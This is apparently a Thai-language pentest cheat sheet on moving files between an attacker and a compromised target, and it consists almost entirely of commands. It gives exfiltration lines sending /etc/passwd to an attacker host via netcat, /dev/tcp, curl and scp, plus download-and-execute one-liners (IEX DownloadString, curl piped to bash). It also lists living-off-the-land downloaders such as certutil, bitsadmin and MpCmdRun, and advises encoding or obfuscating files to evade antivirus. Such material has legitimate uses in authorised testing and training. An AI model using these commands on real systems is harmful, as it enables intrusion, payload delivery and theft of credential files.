วิธีการโอนไฟล์ระหว่าง Attacker และ Target สำหรับทุกสถานการณ์
- Quick Check
- Attacker → Target
- Target → Attacker
- Windows Methods
- Linux Methods
- Living off the Land
- Encoded Transfer
- SMB/WebDAV Methods
- Troubleshooting
# Attacker: Serve files
python3 -m http.server 80
# Linux target: Download
wget http://$lhost/file.sh -O /tmp/file.sh
curl http://$lhost/file.sh -o /tmp/file.sh
# Windows target: Download
certutil -urlcache -f http://$lhost/file.exe file.exe
powershell -c "iwr http://$lhost/file.exe -o file.exe"# Python HTTP server (most common)
python3 -m http.server 80
python2 -m SimpleHTTPServer 80
# PHP server
php -S 0.0.0.0:80
# Ruby server
ruby -run -ehttpd . -p80
# Busybox
busybox httpd -f -p 80
# Nginx (with upload)
# Edit /etc/nginx/sites-enabled/default# Basic SMB share
impacket-smbserver share . -smb2support
# With authentication (bypass some restrictions)
impacket-smbserver share . -smb2support -user test -password test
# Windows download from SMB
copy \\$lhost\share\file.exe C:\Temp\file.exe# Netcat listener
nc -lvnp 4444 > received_file
# Python upload server
python3 -c "
import http.server, cgi
class Handler(http.server.CGIHTTPRequestHandler):
def do_POST(self):
length = int(self.headers['Content-Length'])
data = self.rfile.read(length)
with open('uploaded_file', 'wb') as f:
f.write(data)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
"# Netcat
nc $lhost 4444 < /etc/passwd
# Bash /dev/tcp
cat /etc/passwd > /dev/tcp/$lhost/4444
# Curl POST
curl -X POST -F "file=@/etc/passwd" http://$lhost/upload
# SCP (if SSH available)
scp /path/to/file user@$lhost:/tmp/# PowerShell upload via HTTP POST
$bytes = [System.IO.File]::ReadAllBytes("C:\file.txt")
Invoke-WebRequest -Uri "http://$lhost/upload" -Method POST -Body $bytesใช้เมื่อ SMB/HTTP ไม่ work - ง่ายและ reliable ที่สุด
Attacker (Receive):
nc -nlvp 4445 > received_file.zipWindows Target (Send via PowerShell):
$bytes = [IO.File]::ReadAllBytes("C:\Temp\file.zip")
$socket = New-Object Net.Sockets.TcpClient("$lhost", 4445)
$stream = $socket.GetStream()
$stream.Write($bytes, 0, $bytes.Length)
$socket.Close()Windows Target (Send via CMD - one-liner):
powershell -c "$b=[IO.File]::ReadAllBytes('C:\Temp\file.zip');$s=New-Object Net.Sockets.TcpClient('%lhost%',4445);$t=$s.GetStream();$t.Write($b,0,$b.Length);$s.Close()"Linux Target (Send):
nc $lhost 4445 < /path/to/file
# or
cat /path/to/file | nc $lhost 4445:: Most reliable Windows method
certutil -urlcache -f http://$lhost/file.exe file.exe
:: Decode base64 file
certutil -decode encoded.txt decoded.exe# Invoke-WebRequest (iwr)
Invoke-WebRequest -Uri http://$lhost/file.exe -OutFile file.exe
iwr http://$lhost/file.exe -o file.exe
# WebClient
(New-Object Net.WebClient).DownloadFile('http://$lhost/file.exe','file.exe')
# Short form
powershell -c "iwr http://$lhost/file.exe -o file.exe"
# Bypass execution policy
powershell -ep bypass -c "iwr http://$lhost/file.exe -o file.exe"
# Download and execute in memory (fileless)
IEX(New-Object Net.WebClient).DownloadString('http://$lhost/script.ps1')
iex(iwr http://$lhost/script.ps1 -UseBasicParsing):: Background Intelligent Transfer
bitsadmin /transfer job /download /priority high http://$lhost/file.exe C:\Temp\file.execurl http://$lhost/file.exe -o file.exe:: Copy from attacker SMB share
copy \\$lhost\share\file.exe C:\Temp\file.exe
xcopy \\$lhost\share\file.exe C:\Temp\
:: Map drive
net use Z: \\$lhost\share
copy Z:\file.exe C:\Temp\
:: With credentials
net use Z: \\$lhost\share /user:test test:: Create FTP script
echo open $lhost > ftp.txt
echo anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo binary >> ftp.txt
echo get file.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt# Basic download
wget http://$lhost/file.sh
# Output to specific location
wget http://$lhost/file.sh -O /tmp/file.sh
# Quiet mode
wget -q http://$lhost/file.sh -O /tmp/file.sh
# Continue partial download
wget -c http://$lhost/largefile.tar# Download to file
curl http://$lhost/file.sh -o /tmp/file.sh
# Download and execute
curl http://$lhost/file.sh | bash
# Follow redirects
curl -L http://$lhost/file.sh -o file.sh
# With authentication
curl -u user:pass http://$lhost/file.sh -o file.sh# Attacker (send file)
nc -lvnp 4444 < file.sh
# Target (receive file)
nc $lhost 4444 > file.sh
# With timeout
nc -w 3 $lhost 4444 > file.sh# When no tools available
cat < /dev/tcp/$lhost/80 > file.shpython3 -c "import urllib.request; urllib.request.urlretrieve('http://$lhost/file.sh', '/tmp/file.sh')"
python2 -c "import urllib; urllib.urlretrieve('http://$lhost/file.sh', '/tmp/file.sh')"perl -e 'use LWP::Simple; getstore("http://$lhost/file.sh", "/tmp/file.sh");'php -r 'file_put_contents("/tmp/file.sh", file_get_contents("http://$lhost/file.sh"));'ruby -e 'require "net/http"; File.write("/tmp/file.sh", Net::HTTP.get(URI("http://$lhost/file.sh")))'# Copy from attacker
scp user@$lhost:/path/to/file.sh /tmp/file.sh
# Copy to attacker
scp /etc/passwd user@$lhost:/tmp/sftp user@$lhost
get file.sh
put /etc/passwd# MpCmdRun (Defender)
MpCmdRun.exe -DownloadFile -url http://$lhost/file.exe -path C:\Temp\file.exe
# Desktopimgdownldr (deprecated but works on older systems)
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://$lhost/file.exe /eventName:desktopimgdownldr
# Esentutl
esentutl.exe /y \\$lhost\share\file.exe /d file.exe /o
# Expand
expand \\$lhost\share\file.cab C:\Temp\file.exe# Busybox wget
busybox wget http://$lhost/file.sh
# Lynx
lynx -source http://$lhost/file.sh > file.sh
# Fetch (BSD)
fetch http://$lhost/file.shAttacker (encode):
base64 -w 0 file.exe > file.b64
cat file.b64 # Copy outputLinux Target (decode):
echo "BASE64_STRING_HERE" | base64 -d > file.exeWindows Target (decode):
# PowerShell
[System.Convert]::FromBase64String("BASE64_STRING") | Set-Content -Path file.exe -Encoding Byte
# Or save to file and decode
certutil -decode file.b64 file.exeAttacker (encode):
xxd -p file.exe | tr -d '\n' > file.hexLinux Target (decode):
cat file.hex | xxd -r -p > file.exe# Basic share
impacket-smbserver share $(pwd) -smb2support
# With auth
impacket-smbserver share $(pwd) -smb2support -username test -password test# Install
pip install wsgidav
# Run server
wsgidav --host=0.0.0.0 --port=80 --root=/tmp/share --auth=anonymous:: Copy from WebDAV
copy \\$lhost\DavWWWRoot\file.exe C:\Temp\file.exe
:: Or use UNC path
dir \\$lhost@80\share\| Issue | Solution |
|---|---|
| Firewall blocking | Use port 80 or 443 |
| AV blocking file | Encode/obfuscate or use SMB |
| No wget/curl | Use bash /dev/tcp or python |
| PowerShell restricted | Use certutil or bitsadmin |
| File corrupted | Use binary mode, check encoding |
| Slow transfer | Compress with gzip/zip first |
# Linux
curl -I http://$lhost || wget --spider http://$lhost
# Windows
powershell -c "Test-NetConnection $lhost -Port 80"# Attacker - generate hash
md5sum file.exe
# Linux Target - verify
md5sum file.exe
# Windows Target - verify
certutil -hashfile file.exe MD5